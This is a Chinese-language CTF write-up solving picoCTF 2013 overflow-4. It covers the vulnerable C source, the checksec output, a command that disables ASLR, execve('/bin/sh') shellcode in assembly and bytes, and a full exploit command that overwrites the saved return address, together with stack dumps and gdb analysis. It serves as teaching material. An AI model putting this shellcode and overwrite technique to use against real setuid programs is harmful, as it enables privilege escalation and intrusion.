pico-ctf 2013 overflow-4

来源:互联网 发布:c语言从单数1加到100 编辑:程序博客网 时间:2024/05/21 02:51

栈溢出入门系列入门教程四

本片是栈溢出系列的第四篇
overflow4.c

#include <stdio.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "dump_stack.h"/* * Goal: Get the program to run a shell. */void vuln(char *str) {    char buf[64];    strcpy(buf, str);    dump_stack((void **) buf, 21, (void **) &str);}int main(int argc, char **argv) {    if (argc != 2) {        printf("Usage: buffer_overflow_shellcode [str]\n");        return 1;    }    uid_t euid = geteuid();    setresuid(euid, euid, euid);    vuln(argv[1]);    return 0;}

checksec:

CANARY    : disabledFORTIFY   : disabledNX        : disabledPIE       : disabledRELRO     : Partial

可见几乎没有什么保护.
思路: 程序源码中没有涉及到system(“/bin/sh”)函数. 要想获得shell必须靠我们自己注入shellcode, 然后劫持eip,让它去执行我们的shellcode. shellcode的写法我也在学习, 在这里推荐几个方便我们写shellcode的工具: 1.pwntools, 2.metaploits.

方法一: 现在需要两个地址: 一个是buffer start, 另一个是返回值地址. 让返回值地址指向我们的buffer start. 对于本题而言, 由于c源码中已有了打印堆栈的函数, 所以我们能够轻松的找到这两个位置. 但是需要关闭系统的地址随机化功能, 这样返回值地址不会随时变, 测试才能成功.
root权限执行下面命令:

echo 0>/proc/sys/kernel/randomize_va_space
./overflow4 $(python -c "print 'A'*64+'B'*4")Stack dump:0xffffced0: 0xffffd196 (first argument)0xffffcecc: 0x08048653 (saved eip)0xffffcec8: 0xffffcef8 (saved ebp)0xffffcec4: 0xf7eaf1000xffffcec0: 0x424242420xffffcebc: 0x414141410xffffceb8: 0x414141410xffffceb4: 0x414141410xffffceb0: 0x414141410xffffceac: 0x414141410xffffcea8: 0x414141410xffffcea4: 0x414141410xffffcea0: 0x414141410xffffce9c: 0x414141410xffffce98: 0x414141410xffffce94: 0x414141410xffffce90: 0x414141410xffffce8c: 0x414141410xffffce88: 0x414141410xffffce84: 0x414141410xffffce80: 0x41414141 (beginning of buffer)buffer start:0xffffce80返回值地址 : 0xffffcecc二者相差76个字节,于是我们的payload=shellcode+'A'(76-len(shellcode))+'\x80\xce\xff\xff'

汇编代码:

execve ("/bin/sh") xor ecx, ecxmul ecxpush ecxpush 0x68732f2f   ;; hs//push 0x6e69622f   ;; nib/mov ebx, espmov al, 11int 0x80

对应的机器码:

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"shellcode += "\x0b\xcd\x80"

机器码才是我们要利用的shellcode.
测试:

 ./overflow4 $(python -c "print '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'+'A'*55+'\x70\xce\xff\xff'")Stack dump:0xffffcec0: 0xffffd100 (first argument)0xffffcebc: 0xffffce70 (saved eip)0xffffceb8: 0x41414141 (saved ebp)0xffffceb4: 0x414141410xffffceb0: 0x414141410xffffceac: 0x414141410xffffcea8: 0x414141410xffffcea4: 0x414141410xffffcea0: 0x414141410xffffce9c: 0x414141410xffffce98: 0x414141410xffffce94: 0x414141410xffffce90: 0x414141410xffffce8c: 0x414141410xffffce88: 0x414141410xffffce84: 0x414141800xffffce80: 0xcd0bb0e30xffffce7c: 0x896e69620xffffce78: 0x2f6868730xffffce74: 0x2f2f68510xffffce70: 0xe1f7c931 (beginning of buffer)$  

成功.
方法二: 不使用程序本身的dump_stack函数, 自己找出buffer start.通过gdb调试找出buffer start 和返回值地址两者相差距离76, 然后退出gdb,运行该程序.

./overflow4 $(python -c "print 'A'*76+'B'*4")Stack dump:0xffffcec0: 0xffffd100 (first argument)0xffffcebc: 0x42424242 (saved eip)0xffffceb8: 0x41414141 (saved ebp)0xffffceb4: 0x414141410xffffceb0: 0x414141410xffffceac: 0x414141410xffffcea8: 0x414141410xffffcea4: 0x414141410xffffcea0: 0x414141410xffffce9c: 0x414141410xffffce98: 0x414141410xffffce94: 0x414141410xffffce90: 0x414141410xffffce8c: 0x414141410xffffce88: 0x414141410xffffce84: 0x414141410xffffce80: 0x414141410xffffce7c: 0x414141410xffffce78: 0x414141410xffffce74: 0x414141410xffffce70: 0x41414141 (beginning of buffer)Segmentation fault (core dumped)

出现段错误, 此时我们调试其core文件, 出现类似的信息. 说明我们的’B’字符将返回值地址覆盖了.

Core was generated by `./overflow4 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.Program terminated with signal SIGSEGV, Segmentation fault.#0  0x42424242 in ?? ()输入:x/10s $esp-800xffffce70: 'A' <repeats 76 times>, "BBBB"0xffffcec1: "\321\377\377\350\003"0xffffcec7: ""0xffffcec8: "\350\003"0xffffcecb: ""0xffffcecc: "\353\331\342\367\334\363\372\367<\202\004\bi\206\004\b\350\003"0xffffcedf: ""0xffffcee0: ""0xffffcee1: "\360\372", <incomplete sequence \367>0xffffcee5: "\360\372", <incomplete sequence \367>

由此我们也找到了buffer start的地址.后面的就和方法一一样了.
有同学可能会问: 为什么不通过gdb来找buffer start呢, 很简单的?
这里我引用其他文章的话来回答这个问题

对初学者来说这个shellcode地址的位置其实是一个坑。因为正常的思维是使用gdb调试目标程序,然后查看内存来确定shellcode的位置。但当你真的执行exp的时候你会发现shellcode压根就不在这个地址上!这是为什么呢?原因是gdb的调试环境会影响buf在内存中的位置,虽然我们关闭了ASLR,但这只能保证buf的地址在gdb的调试环境中不变
引用地址:http://www.tuicool.com/articles/ZruA7bZ

注: 我的环境是ubuntu 16.04 64bit. 不同操作系统, 对应的地址可能不一样, 在测试之前, 请先关闭系统的地址随机能力.文件下载地址:https://github.com/picoCTF/2013-Problems/tree/master/Overflow%204
欢迎大家评论提建议, 有什么问题也可以联系我.

0 0
原创粉丝点击